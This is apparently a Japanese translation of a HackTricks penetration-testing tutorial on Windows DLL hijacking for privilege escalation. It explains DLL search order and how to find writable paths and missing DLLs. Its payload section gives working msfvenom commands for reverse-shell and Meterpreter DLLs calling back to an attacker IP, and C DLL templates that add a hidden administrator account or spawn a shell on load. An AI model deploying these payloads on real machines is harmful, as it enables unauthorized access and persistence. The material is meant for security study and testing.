hacktricks/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md

18 KiB
Raw Blame History

Dll Hijacking

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

ハッキングキャリアに興味がある方や解読不能なものをハックしたい方 - 採用中です!流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

基本情報

DLLハイジャッキングは、信頼されたアプリケーションを悪意のあるDLLを読み込むように操作することを指します。この用語には、DLLスプーフィング、インジェクション、およびサイドローディングなどの戦術が含まれます。これは主にコードの実行、持続性の達成、そして稀に特権昇格に使用されます。ここでは昇格に焦点を当てていますが、ハイジャッキングの方法は目的に関係なく一貫しています。

一般的な技術

DLLハイジャッキングには、アプリケーションのDLL読み込み戦略に依存する効果的な方法がいくつかあります。

  1. DLLの置換: 正規のDLLを悪意のあるDLLと交換し、オプションでDLLプロキシングを使用して元のDLLの機能を保持します。
  2. DLLサーチオーダーハイジャック: 悪意のあるDLLを正規のDLLの前に検索パスに配置し、アプリケーションの検索パターンを悪用します。
  3. ファントムDLLハイジャック: アプリケーションが読み込むための悪意のあるDLLを作成し、それが存在しない必要なDLLであると思わせます。
  4. DLLリダイレクション: %PATH%.exe.manifest / .exe.localファイルなどの検索パラメータを変更して、アプリケーションを悪意のあるDLLに誘導します。
  5. WinSxS DLLの置換: WinSxSディレクトリ内の正規のDLLを悪意のあるDLLで置き換えることで、しばしばDLLサイドローディングと関連付けられる方法です。
  6. 相対パスDLLハイジャック: ユーザーが制御するディレクトリに悪意のあるDLLを配置し、コピーされたアプリケーションと似たようなバイナリプロキシ実行技術を模倣します。

欠落しているDllの検出

システム内の欠落しているDllを見つける最も一般的な方法は、procmonを実行し、次の2つのフィルターを設定することです:

そして、ファイルシステムアクティビティを表示します:

一般的なdllを探している場合は、数秒間これを実行しておきます。
特定の実行可能ファイル内の欠落しているdllを探している場合は、「プロセス名」が「含む」ような別のフィルタを設定し、実行してからイベントのキャプチャを停止します。

欠落しているDllの悪用

特権昇格するためには、特権プロセスが読み込もうとするdllを書き込むことができる最適な機会があります。したがって、オリジナルのdllよりも先に検索される場所にdllを書き込むことができます奇妙なケース、またはdllが検索されるフォルダに書き込むことができますが、オリジナルのdllがどのフォルダにも存在しない場合です。

Dll検索順序

Microsoftのドキュメント に、DLLが特定の方法で読み込まれる方法が記載されています。

Windowsアプリケーションは、特定のシーケンスに従って一連の事前定義された検索パスに従ってDLLを探します。DLLハイジャッキングの問題は、有害なDLLがこれらのディレクトリの1つに戦略的に配置され、正規のDLLよりも先に読み込まれるようにすることで発生します。これを防ぐ解決策は、アプリケーションが必要とするDLLを参照する際に絶対パスを使用することを確認することです。

32ビットシステムでのDLL検索順序は以下の通りです:

  1. アプリケーションが読み込まれたディレクトリ。
  2. システムディレクトリ。このディレクトリのパスを取得するにはGetSystemDirectory関数を使用します。(C:\Windows\System32)
  3. 16ビットシステムディレクトリ。このディレクトリのパスを取得する関数はありませんが、検索されます。(C:\Windows\System)
  4. Windowsディレクトリ。このディレクトリのパスを取得するにはGetWindowsDirectory関数を使用します。(C:\Windows)
  5. 現在のディレクトリ。
  6. PATH環境変数にリストされているディレクトリ。これには、App Pathsレジストリキーで指定されたアプリケーションごとのパスは含まれません。App Pathsキーは、DLL検索パスの計算時には使用されません。

これがSafeDllSearchModeが有効な状態でのデフォルトの検索順序です。無効にするには、HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchModeレジストリ値を作成し、0に設定しますデフォルトは有効

LoadLibraryEx関数がLOAD_WITH_ALTERED_SEARCH_PATHで呼び出されると、検索はLoadLibraryExが読み込んでいる実行可能モジュールのディレクトリから開始されます。

最後に、dllは名前だけでなく絶対パスを指定して読み込まれる可能性があることに注意してください。その場合、そのdllはそのパスのみで検索されますdllに依存関係がある場合、名前で読み込まれたように検索されます

検索順序を変更する他の方法もありますが、ここでは説明しません。

Windowsドキュメントのdll検索順序の例外

Windowsドキュメントには、標準的なDLL検索順序に関する特定の例外が記載されています

  • メモリに読み込まれているDLLと同じ名前を持つDLLが見つかった場合、システムは通常の検索をバイパスします。代わりに、リダイレクションとマニフェストのチェックを実行し、メモリにすでにあるDLLにデフォルトで戻ります。このシナリオでは、システムはDLLの検索を実行しません
  • DLLが現在のWindowsバージョンの既知のDLLとして認識される場合、システムはそのバージョンの既知のDLLとその依存するDLLを利用し、検索プロセスをスキップします。レジストリキーHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLsには、これらの既知のDLLのリストが格納されています。
  • DLLに依存関係がある場合、最初のDLLがフルパスで特定されたかどうかに関係なく、これらの依存するDLLの検索がモジュール名だけで指定されたかのように実行されます。

特権昇格

要件

  • 異なる特権で動作するプロセスを特定し、または特定する(水平または垂直移動)、DLLが欠落している
  • DLLが検索される任意のディレクトリに書き込みアクセスが利用可能であることを確認します。この場所は、実行可能ファイルのディレクトリまたはシステムパス内のディレクトリである可能性があります。

はい、要件を見つけるのはデフォルトでは特権のある実行可能ファイルがdllを欠落しているのは奇妙でありシステムパスのフォルダに書き込み権限を持っているのはさらに奇妙です(通常はできません)。しかし、構成が誤っている環境では、これが可能です。
要件を満たす幸運な場合、UACMEプロジェクトをチェックできます。プロジェクトの主な目標はUACのバイパスですが、おそらく書き込み権限のあるフォルダのパスを変更するだけで使用できるWindowsバージョンのDLLハイジャッキングのPoCが見つかるかもしれません。

フォルダのアクセス許可を確認するには、次のようにします:

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

そして、PATH内のすべてのフォルダのアクセス許可を確認します:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

あなたは実行可能ファイルのインポートとDLLのエクスポートもチェックできます。

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

Dllハイジャックを悪用して特権を昇格するための完全なガイドについては、System Pathフォルダに書き込み権限があるかどうかを確認してください:

{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}

自動化ツール

Winpeasは、システムPATH内の任意のフォルダに書き込み権限があるかどうかをチェックします。
この脆弱性を発見するための他の興味深い自動化ツールには、PowerSploit functionsがあります:Find-ProcessDLLHijackFind-PathDLLHijackWrite-HijackDll

悪用可能なシナリオを見つけた場合、それを成功裏に悪用するために最も重要なことの1つは、実行ファイルがそれからインポートするすべての関数を少なくともエクスポートするdllを作成することです。とにかく、Dllハイジャックは、中間インテグリティレベルから高いレベルにUACをバイパスして昇格するか、高いインテグリティからSYSTEMに昇格するのに便利です。有効なdllを作成する方法の例は、このdllハイジャックの実行に焦点を当てたdllハイジャック研究で見つけることができますhttps://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows
さらに、次のセクションでは、テンプレートとして役立つ基本的なdllコードをいくつか見つけることができます。これらは、必要のない関数がエクスポートされたdllを作成するために使用できます。

Dllの作成とコンパイル

Dllプロキシ化

基本的に、Dllプロキシは、ロードされるときに悪意のあるコードを実行できるDllですが、リアルライブラリへのすべての呼び出しをリレーすることで公開され、機能します。

DLLirantSpartacusというツールを使用すると、実際に実行可能ファイルを指定し、プロキシ化したいライブラリを選択してプロキシ化されたdllを生成するか、Dllを指定してプロキシ化されたdllを生成することができます。

Meterpreter

rev shellを取得x64:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

メータープリンターを取得するx86:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

ユーザーを作成しますx86バージョンはx64バージョンは見当たりませんでした:

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

あなた自身

複数のケースで、コンパイルしたDllは、被害者プロセスによってロードされる関数を複数エクスポートする必要があります。これらの関数が存在しない場合、バイナリはそれらをロードできず、攻撃は失敗します

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}

参考文献

ハッキングキャリアに興味がある方や、解読不能なものをハックしたい方 - 採用中です!流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

htARTEHackTricks AWS Red Team Expert AWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法